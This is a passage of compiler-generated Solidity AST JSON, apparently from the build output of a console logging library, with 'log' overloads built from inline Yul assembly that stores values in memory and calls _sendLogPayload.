310:6:22","nodeType":"YulIdentifier","src":"41310:6:22"},"nativeSrc":"41310:16:22","nodeType":"YulFunctionCall","src":"41310:16:22"},"nativeSrc":"41310:16:22","nodeType":"YulExpressionStatement","src":"41310:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35026,"isOffset":false,"isSlot":false,"src":"41236:2:22","valueSize":1},{"declaration":35029,"isOffset":false,"isSlot":false,"src":"41265:2:22","valueSize":1},{"declaration":35032,"isOffset":false,"isSlot":false,"src":"41294:2:22","valueSize":1},{"declaration":35035,"isOffset":false,"isSlot":false,"src":"41323:2:22","valueSize":1}],"id":35043,"nodeType":"InlineAssembly","src":"41200:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40693:3:22","parameters":{"id":35023,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35018,"mutability":"mutable","name":"p0","nameLocation":"40702:2:22","nodeType":"VariableDeclaration","scope":35045,"src":"40697:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35017,"name":"bool","nodeType":"ElementaryTypeName","src":"40697:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35020,"mutability":"mutable","name":"p1","nameLocation":"40714:2:22","nodeType":"VariableDeclaration","scope":35045,"src":"40706:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35019,"name":"uint256","nodeType":"ElementaryTypeName","src":"40706:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35022,"mutability":"mutable","name":"p2","nameLocation":"40726:2:22","nodeType":"VariableDeclaration","scope":35045,"src":"40718:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35021,"name":"uint256","nodeType":"ElementaryTypeName","src":"40718:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"40696:33:22"},"returnParameters":{"id":35024,"nodeType":"ParameterList","parameters":[],"src":"40744:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35080,"nodeType":"FunctionDefinition","src":"41348:1206:22","nodes":[],"body":{"id":35079,"nodeType":"Block","src":"41408:1146:22","nodes":[],"statements":[{"assignments":[35055],"declarations":[{"constant":false,"id":35055,"mutability":"mutable","name":"m0","nameLocation":"41426:2:22","nodeType":"VariableDeclaration","scope":35079,"src":"41418:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35054,"name":"bytes32","nodeType":"ElementaryTypeName","src":"41418:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35056,"nodeType":"VariableDeclarationStatement","src":"41418:10:22"},{"assignments":[35058],"declarations":[{"constant":false,"id":35058,"mutability":"mutable","name":"m1","nameLocation":"41446:2:22","nodeType":"VariableDeclaration","scope":35079,"src":"41438:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35057,"name":"bytes32","nodeType":"ElementaryTypeName","src":"41438:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35059,"nodeType":"VariableDeclarationStatement","src":"41438:10:22"},{"assignments":[35061],"declarations":[{"constant":false,"id":35061,"mutability":"mutable","name":"m2","nameLocation":"41466:2:22","nodeType":"VariableDeclaration","scope":35079,"src":"41458:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35060,"name":"bytes32","nodeType":"ElementaryTypeName","src":"41458:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35062,"nodeType":"VariableDeclarationStatement","src":"41458:10:22"},{"assignments":[35064],"declarations":[{"constant":false,"id":35064,"mutability":"mutable","name":"m3","nameLocation":"41486:2:22","nodeType":"VariableDeclaration","scope":35079,"src":"41478:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35063,"name":"bytes32","nodeType":"ElementaryTypeName","src":"41478:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35065,"nodeType":"VariableDeclarationStatement","src":"41478:10:22"},{"assignments":[35067],"declarations":[{"constant":false,"id":35067,"mutability":"mutable","name":"m4","nameLocation":"41506:2:22","nodeType":"VariableDeclaration","scope":35079,"src":"41498:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35066,"name":"bytes32","nodeType":"ElementaryTypeName","src":"41498:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35068,"nodeType":"VariableDeclarationStatement","src":"41498:10:22"},{"assignments":[35070],"declarations":[{"constant":false,"id":35070,"mutability":"mutable","name":"m5","nameLocation":"41526:2:22","nodeType":"VariableDeclaration","scope":35079,"src":"41518:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35069,"name":"bytes32","nodeType":"ElementaryTypeName","src":"41518:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35071,"nodeType":"VariableDeclarationStatement","src":"41518:10:22"},{"AST":{"nativeSrc":"41547:761:22","nodeType":"YulBlock","src":"41547:761:22","statements":[{"body":{"nativeSrc":"41590:313:22","nodeType":"YulBlock","src":"41590:313:22","statements":[{"nativeSrc":"41608:15:22","nodeType":"YulVariableDeclaration","src":"41608:15:22","value":{"kind":"number","nativeSrc":"41622:1:22","nodeType":"YulLiteral","src":"41622:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"41612:6:22","nodeType":"YulTypedName","src":"41612:6:22","type":""}]},{"body":{"nativeSrc":"41693:40:22","nodeType":"YulBlock","src":"41693:40:22","statements":[{"body":{"nativeSrc":"41722:9:22","nodeType":"YulBlock","src":"41722:9:22","statements":[{"nativeSrc":"41724:5:22","nodeType":"YulBreak","src":"41724:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"41710:6:22","nodeType":"YulIdentifier","src":"41710:6:22"},{"name":"w","nativeSrc":"41718:1:22","nodeType":"YulIdentifier","src":"41718:1:22"}],"functionName":{"name":"byte","nativeSrc":"41705:4:22","nodeType":"YulIdentifier","src":"41705:4:22"},"nativeSrc":"41705:15:22","nodeType":"YulFunctionCall","src":"41705:15:22"}],"functionName":{"name":"iszero","nativeSrc":"41698:6:22","nodeType":"YulIdentifier","src":"41698:6:22"},"nativeSrc":"41698:23:22","nodeType":"YulFunctionCall","src":"41698:23:22"},"nativeSrc":"41695:36:22","nodeType":"YulIf","src":"41695:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"41650:6:22","nodeType":"YulIdentifier","src":"41650:6:22"},{"kind":"number","nativeSrc":"41658:4:22","nodeType":"YulLiteral","src":"41658:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"41647:2:22","nodeType":"YulIdentifier","src":"41647:2:22"},"nativeSrc":"41647:16:22","nodeType":"YulFunctionCall","src":"41647:16:22"},"nativeSrc":"41640:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"41664:28:22","nodeType":"YulBlock","src":"41664:28:22","statements":[{"nativeSrc":"41666:24:22","nodeType":"YulAssignment","src":"41666:24:22","value":{"arguments":[{"name":"length","nativeSrc":"41680:6:22","nodeType":"YulIdentifier","src":"41680:6:22"},{"kind":"number","nativeSrc":"41688:1:22","nodeType":"YulLiteral","src":"41688:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"41676:3:22","nodeType":"YulIdentifier","src":"41676:3:22"},"nativeSrc":"41676:14:22","nodeType":"YulFunctionCall","src":"41676:14:22"},"variableNames":[{"name":"length","nativeSrc":"41666:6:22","nodeType":"YulIdentifier","src":"41666:6:22"}]}]},"pre":{"nativeSrc":"41644:2:22","nodeType":"YulBlock","src":"41644:2:22","statements":[]},"src":"41640:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"41757:3:22","nodeType":"YulIdentifier","src":"41757:3:22"},{"name":"length","nativeSrc":"41762:6:22","nodeType":"YulIdentifier","src":"41762:6:22"}],"functionName":{"name":"mstore","nativeSrc":"41750:6:22","nodeType":"YulIdentifier","src":"41750:6:22"},"nativeSrc":"41750:19:22","nodeType":"YulFunctionCall","src":"41750:19:22"},"nativeSrc":"41750:19:22","nodeType":"YulExpressionStatement","src":"41750:19:22"},{"nativeSrc":"41786:37:22","nodeType":"YulVariableDeclaration","src":"41786:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"41803:3:22","nodeType":"YulLiteral","src":"41803:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"41812:1:22","nodeType":"YulLiteral","src":"41812:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"41815:6:22","nodeType":"YulIdentifier","src":"41815:6:22"}],"functionName":{"name":"shl","nativeSrc":"41808:3:22","nodeType":"YulIdentifier","src":"41808:3:22"},"nativeSrc":"41808:14:22","nodeType":"YulFunctionCall","src":"41808:14:22"}],"functionName":{"name":"sub","nativeSrc":"41799:3:22","nodeType":"YulIdentifier","src":"41799:3:22"},"nativeSrc":"41799:24:22","nodeType":"YulFunctionCall","src":"41799:24:22"},"variables":[{"name":"shift","nativeSrc":"41790:5:22","nodeType":"YulTypedName","src":"41790:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"41851:3:22","nodeType":"YulIdentifier","src":"41851:3:22"},{"kind":"number","nativeSrc":"41856:4:22","nodeType":"YulLiteral","src":"41856:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"41847:3:22","nodeType":"YulIdentifier","src":"41847:3:22"},"nativeSrc":"41847:14:22","nodeType":"YulFunctionCall","src":"41847:14:22"},{"arguments":[{"name":"shift","nativeSrc":"41867:5:22","nodeType":"YulIdentifier","src":"41867:5:22"},{"arguments":[{"name":"shift","nativeSrc":"41878:5:22","nodeType":"YulIdentifier","src":"41878:5:22"},{"name":"w","nativeSrc":"41885:1:22","nodeType":"YulIdentifier","src":"41885:1:22"}],"functionName":{"name":"shr","nativeSrc":"41874:3:22","nodeType":"YulIdentifier","src":"41874:3:22"},"nativeSrc":"41874:13:22","nodeType":"YulFunctionCall","src":"41874:13:22"}],"functionName":{"name":"shl","nativeSrc":"41863:3:22","nodeType":"YulIdentifier","src":"41863:3:22"},"nativeSrc":"41863:25:22","nodeType":"YulFunctionCall","src":"41863:25:22"}],"functionName":{"name":"mstore","nativeSrc":"41840:6:22","nodeType":"YulIdentifier","src":"41840:6:22"},"nativeSrc":"41840:49:22","nodeType":"YulFunctionCall","src":"41840:49:22"},"nativeSrc":"41840:49:22","nodeType":"YulExpressionStatement","src":"41840:49:22"}]},"name":"writeString","nativeSrc":"41561:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"41582:3:22","nodeType":"YulTypedName","src":"41582:3:22","type":""},{"name":"w","nativeSrc":"41587:1:22","nodeType":"YulTypedName","src":"41587:1:22","type":""}],"src":"41561:342:22"},{"nativeSrc":"41916:17:22","nodeType":"YulAssignment","src":"41916:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"41928:4:22","nodeType":"YulLiteral","src":"41928:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"41922:5:22","nodeType":"YulIdentifier","src":"41922:5:22"},"nativeSrc":"41922:11:22","nodeType":"YulFunctionCall","src":"41922:11:22"},"variableNames":[{"name":"m0","nativeSrc":"41916:2:22","nodeType":"YulIdentifier","src":"41916:2:22"}]},{"nativeSrc":"41946:17:22","nodeType":"YulAssignment","src":"41946:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"41958:4:22","nodeType":"YulLiteral","src":"41958:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"41952:5:22","nodeType":"YulIdentifier","src":"41952:5:22"},"nativeSrc":"41952:11:22","nodeType":"YulFunctionCall","src":"41952:11:22"},"variableNames":[{"name":"m1","nativeSrc":"41946:2:22","nodeType":"YulIdentifier","src":"41946:2:22"}]},{"nativeSrc":"41976:17:22","nodeType":"YulAssignment","src":"41976:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"41988:4:22","nodeType":"YulLiteral","src":"41988:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"41982:5:22","nodeType":"YulIdentifier","src":"41982:5:22"},"nativeSrc":"41982:11:22","nodeType":"YulFunctionCall","src":"41982:11:22"},"variableNames":[{"name":"m2","nativeSrc":"41976:2:22","nodeType":"YulIdentifier","src":"41976:2:22"}]},{"nativeSrc":"42006:17:22","nodeType":"YulAssignment","src":"42006:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"42018:4:22","nodeType":"YulLiteral","src":"42018:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"42012:5:22","nodeType":"YulIdentifier","src":"42012:5:22"},"nativeSrc":"42012:11:22","nodeType":"YulFunctionCall","src":"42012:11:22"},"variableNames":[{"name":"m3","nativeSrc":"42006:2:22","nodeType":"YulIdentifier","src":"42006:2:22"}]},{"nativeSrc":"42036:17:22","nodeType":"YulAssignment","src":"42036:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"42048:4:22","nodeType":"YulLiteral","src":"42048:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"42042:5:22","nodeType":"YulIdentifier","src":"42042:5:22"},"nativeSrc":"42042:11:22","nodeType":"YulFunctionCall","src":"42042:11:22"},"variableNames":[{"name":"m4","nativeSrc":"42036:2:22","nodeType":"YulIdentifier","src":"42036:2:22"}]},{"nativeSrc":"42066:17:22","nodeType":"YulAssignment","src":"42066:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"42078:4:22","nodeType":"YulLiteral","src":"42078:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"42072:5:22","nodeType":"YulIdentifier","src":"42072:5:22"},"nativeSrc":"42072:11:22","nodeType":"YulFunctionCall","src":"42072:11:22"},"variableNames":[{"name":"m5","nativeSrc":"42066:2:22","nodeType":"YulIdentifier","src":"42066:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42158:4:22","nodeType":"YulLiteral","src":"42158:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"42164:10:22","nodeType":"YulLiteral","src":"42164:10:22","type":"","value":"0xc3fc3970"}],"functionName":{"name":"mstore","nativeSrc":"42151:6:22","nodeType":"YulIdentifier","src":"42151:6:22"},"nativeSrc":"42151:24:22","nodeType":"YulFunctionCall","src":"42151:24:22"},"nativeSrc":"42151:24:22","nodeType":"YulExpressionStatement","src":"42151:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42195:4:22","nodeType":"YulLiteral","src":"42195:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"42201:2:22","nodeType":"YulIdentifier","src":"42201:2:22"}],"functionName":{"name":"mstore","nativeSrc":"42188:6:22","nodeType":"YulIdentifier","src":"42188:6:22"},"nativeSrc":"42188:16:22","nodeType":"YulFunctionCall","src":"42188:16:22"},"nativeSrc":"42188:16:22","nodeType":"YulExpressionStatement","src":"42188:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42224:4:22","nodeType":"YulLiteral","src":"42224:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"42230:2:22","nodeType":"YulIdentifier","src":"42230:2:22"}],"functionName":{"name":"mstore","nativeSrc":"42217:6:22","nodeType":"YulIdentifier","src":"42217:6:22"},"nativeSrc":"42217:16:22","nodeType":"YulFunctionCall","src":"42217:16:22"},"nativeSrc":"42217:16:22","nodeType":"YulExpressionStatement","src":"42217:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42253:4:22","nodeType":"YulLiteral","src":"42253:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"42259:4:22","nodeType":"YulLiteral","src":"42259:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"42246:6:22","nodeType":"YulIdentifier","src":"42246:6:22"},"nativeSrc":"42246:18:22","nodeType":"YulFunctionCall","src":"42246:18:22"},"nativeSrc":"42246:18:22","nodeType":"YulExpressionStatement","src":"42246:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42289:4:22","nodeType":"YulLiteral","src":"42289:4:22","type":"","value":"0x80"},{"name":"p2","nativeSrc":"42295:2:22","nodeType":"YulIdentifier","src":"42295:2:22"}],"functionName":{"name":"writeString","nativeSrc":"42277:11:22","nodeType":"YulIdentifier","src":"42277:11:22"},"nativeSrc":"42277:21:22","nodeType":"YulFunctionCall","src":"42277:21:22"},"nativeSrc":"42277:21:22","nodeType":"YulExpressionStatement","src":"42277:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35055,"isOffset":false,"isSlot":false,"src":"41916:2:22","valueSize":1},{"declaration":35058,"isOffset":false,"isSlot":false,"src":"41946:2:22","valueSize":1},{"declaration":35061,"isOffset":false,"isSlot":false,"src":"41976:2:22","valueSize":1},{"declaration":35064,"isOffset":false,"isSlot":false,"src":"42006:2:22","valueSize":1},{"declaration":35067,"isOffset":false,"isSlot":false,"src":"42036:2:22","valueSize":1},{"declaration":35070,"isOffset":false,"isSlot":false,"src":"42066:2:22","valueSize":1},{"declaration":35047,"isOffset":false,"isSlot":false,"src":"42201:2:22","valueSize":1},{"declaration":35049,"isOffset":false,"isSlot":false,"src":"42230:2:22","valueSize":1},{"declaration":35051,"isOffset":false,"isSlot":false,"src":"42295:2:22","valueSize":1}],"id":35072,"nodeType":"InlineAssembly","src":"41538:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35074,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"42333:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35075,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"42339:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35073,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"42317:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35076,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42317:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35077,"nodeType":"ExpressionStatement","src":"42317:27:22"},{"AST":{"nativeSrc":"42363:185:22","nodeType":"YulBlock","src":"42363:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"42384:4:22","nodeType":"YulLiteral","src":"42384:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"42390:2:22","nodeType":"YulIdentifier","src":"42390:2:22"}],"functionName":{"name":"mstore","nativeSrc":"42377:6:22","nodeType":"YulIdentifier","src":"42377:6:22"},"nativeSrc":"42377:16:22","nodeType":"YulFunctionCall","src":"42377:16:22"},"nativeSrc":"42377:16:22","nodeType":"YulExpressionStatement","src":"42377:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42413:4:22","nodeType":"YulLiteral","src":"42413:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"42419:2:22","nodeType":"YulIdentifier","src":"42419:2:22"}],"functionName":{"name":"mstore","nativeSrc":"42406:6:22","nodeType":"YulIdentifier","src":"42406:6:22"},"nativeSrc":"42406:16:22","nodeType":"YulFunctionCall","src":"42406:16:22"},"nativeSrc":"42406:16:22","nodeType":"YulExpressionStatement","src":"42406:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42442:4:22","nodeType":"YulLiteral","src":"42442:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"42448:2:22","nodeType":"YulIdentifier","src":"42448:2:22"}],"functionName":{"name":"mstore","nativeSrc":"42435:6:22","nodeType":"YulIdentifier","src":"42435:6:22"},"nativeSrc":"42435:16:22","nodeType":"YulFunctionCall","src":"42435:16:22"},"nativeSrc":"42435:16:22","nodeType":"YulExpressionStatement","src":"42435:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42471:4:22","nodeType":"YulLiteral","src":"42471:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"42477:2:22","nodeType":"YulIdentifier","src":"42477:2:22"}],"functionName":{"name":"mstore","nativeSrc":"42464:6:22","nodeType":"YulIdentifier","src":"42464:6:22"},"nativeSrc":"42464:16:22","nodeType":"YulFunctionCall","src":"42464:16:22"},"nativeSrc":"42464:16:22","nodeType":"YulExpressionStatement","src":"42464:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42500:4:22","nodeType":"YulLiteral","src":"42500:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"42506:2:22","nodeType":"YulIdentifier","src":"42506:2:22"}],"functionName":{"name":"mstore","nativeSrc":"42493:6:22","nodeType":"YulIdentifier","src":"42493:6:22"},"nativeSrc":"42493:16:22","nodeType":"YulFunctionCall","src":"42493:16:22"},"nativeSrc":"42493:16:22","nodeType":"YulExpressionStatement","src":"42493:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"42529:4:22","nodeType":"YulLiteral","src":"42529:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"42535:2:22","nodeType":"YulIdentifier","src":"42535:2:22"}],"functionName":{"name":"mstore","nativeSrc":"42522:6:22","nodeType":"YulIdentifier","src":"42522:6:22"},"nativeSrc":"42522:16:22","nodeType":"YulFunctionCall","src":"42522:16:22"},"nativeSrc":"42522:16:22","nodeType":"YulExpressionStatement","src":"42522:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35055,"isOffset":false,"isSlot":false,"src":"42390:2:22","valueSize":1},{"declaration":35058,"isOffset":false,"isSlot":false,"src":"42419:2:22","valueSize":1},{"declaration":35061,"isOffset":false,"isSlot":false,"src":"42448:2:22","valueSize":1},{"declaration":35064,"isOffset":false,"isSlot":false,"src":"42477:2:22","valueSize":1},{"declaration":35067,"isOffset":false,"isSlot":false,"src":"42506:2:22","valueSize":1},{"declaration":35070,"isOffset":false,"isSlot":false,"src":"42535:2:22","valueSize":1}],"id":35078,"nodeType":"InlineAssembly","src":"42354:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41357:3:22","parameters":{"id":35052,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35047,"mutability":"mutable","name":"p0","nameLocation":"41366:2:22","nodeType":"VariableDeclaration","scope":35080,"src":"41361:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35046,"name":"bool","nodeType":"ElementaryTypeName","src":"41361:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35049,"mutability":"mutable","name":"p1","nameLocation":"41378:2:22","nodeType":"VariableDeclaration","scope":35080,"src":"41370:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35048,"name":"uint256","nodeType":"ElementaryTypeName","src":"41370:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35051,"mutability":"mutable","name":"p2","nameLocation":"41390:2:22","nodeType":"VariableDeclaration","scope":35080,"src":"41382:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35050,"name":"bytes32","nodeType":"ElementaryTypeName","src":"41382:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"41360:33:22"},"returnParameters":{"id":35053,"nodeType":"ParameterList","parameters":[],"src":"41408:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35115,"nodeType":"FunctionDefinition","src":"42560:1206:22","nodes":[],"body":{"id":35114,"nodeType":"Block","src":"42620:1146:22","nodes":[],"statements":[{"assignments":[35090],"declarations":[{"constant":false,"id":35090,"mutability":"mutable","name":"m0","nameLocation":"42638:2:22","nodeType":"VariableDeclaration","scope":35114,"src":"42630:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35089,"name":"bytes32","nodeType":"ElementaryTypeName","src":"42630:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35091,"nodeType":"VariableDeclarationStatement","src":"42630:10:22"},{"assignments":[35093],"declarations":[{"constant":false,"id":35093,"mutability":"mutable","name":"m1","nameLocation":"42658:2:22","nodeType":"VariableDeclaration","scope":35114,"src":"42650:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35092,"name":"bytes32","nodeType":"ElementaryTypeName","src":"42650:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35094,"nodeType":"VariableDeclarationStatement","src":"42650:10:22"},{"assignments":[35096],"declarations":[{"constant":false,"id":35096,"mutability":"mutable","name":"m2","nameLocation":"42678:2:22","nodeType":"VariableDeclaration","scope":35114,"src":"42670:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35095,"name":"bytes32","nodeType":"ElementaryTypeName","src":"42670:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35097,"nodeType":"VariableDeclarationStatement","src":"42670:10:22"},{"assignments":[35099],"declarations":[{"constant":false,"id":35099,"mutability":"mutable","name":"m3","nameLocation":"42698:2:22","nodeType":"VariableDeclaration","scope":35114,"src":"42690:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35098,"name":"bytes32","nodeType":"ElementaryTypeName","src":"42690:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35100,"nodeType":"VariableDeclarationStatement","src":"42690:10:22"},{"assignments":[35102],"declarations":[{"constant":false,"id":35102,"mutability":"mutable","name":"m4","nameLocation":"42718:2:22","nodeType":"VariableDeclaration","scope":35114,"src":"42710:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35101,"name":"bytes32","nodeType":"ElementaryTypeName","src":"42710:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35103,"nodeType":"VariableDeclarationStatement","src":"42710:10:22"},{"assignments":[35105],"declarations":[{"constant":false,"id":35105,"mutability":"mutable","name":"m5","nameLocation":"42738:2:22","nodeType":"VariableDeclaration","scope":35114,"src":"42730:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35104,"name":"bytes32","nodeType":"ElementaryTypeName","src":"42730:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35106,"nodeType":"VariableDeclarationStatement","src":"42730:10:22"},{"AST":{"nativeSrc":"42759:761:22","nodeType":"YulBlock","src":"42759:761:22","statements":[{"body":{"nativeSrc":"42802:313:22","nodeType":"YulBlock","src":"42802:313:22","statements":[{"nativeSrc":"42820:15:22","nodeType":"YulVariableDeclaration","src":"42820:15:22","value":{"kind":"number","nativeSrc":"42834:1:22","nodeType":"YulLiteral","src":"42834:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"42824:6:22","nodeType":"YulTypedName","src":"42824:6:22","type":""}]},{"body":{"nativeSrc":"42905:40:22","nodeType":"YulBlock","src":"42905:40:22","statements":[{"body":{"nativeSrc":"42934:9:22","nodeType":"YulBlock","src":"42934:9:22","statements":[{"nativeSrc":"42936:5:22","nodeType":"YulBreak","src":"42936:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"42922:6:22","nodeType":"YulIdentifier","src":"42922:6:22"},{"name":"w","nativeSrc":"42930:1:22","nodeType":"YulIdentifier","src":"42930:1:22"}],"functionName":{"name":"byte","nativeSrc":"42917:4:22","nodeType":"YulIdentifier","src":"42917:4:22"},"nativeSrc":"42917:15:22","nodeType":"YulFunctionCall","src":"42917:15:22"}],"functionName":{"name":"iszero","nativeSrc":"42910:6:22","nodeType":"YulIdentifier","src":"42910:6:22"},"nativeSrc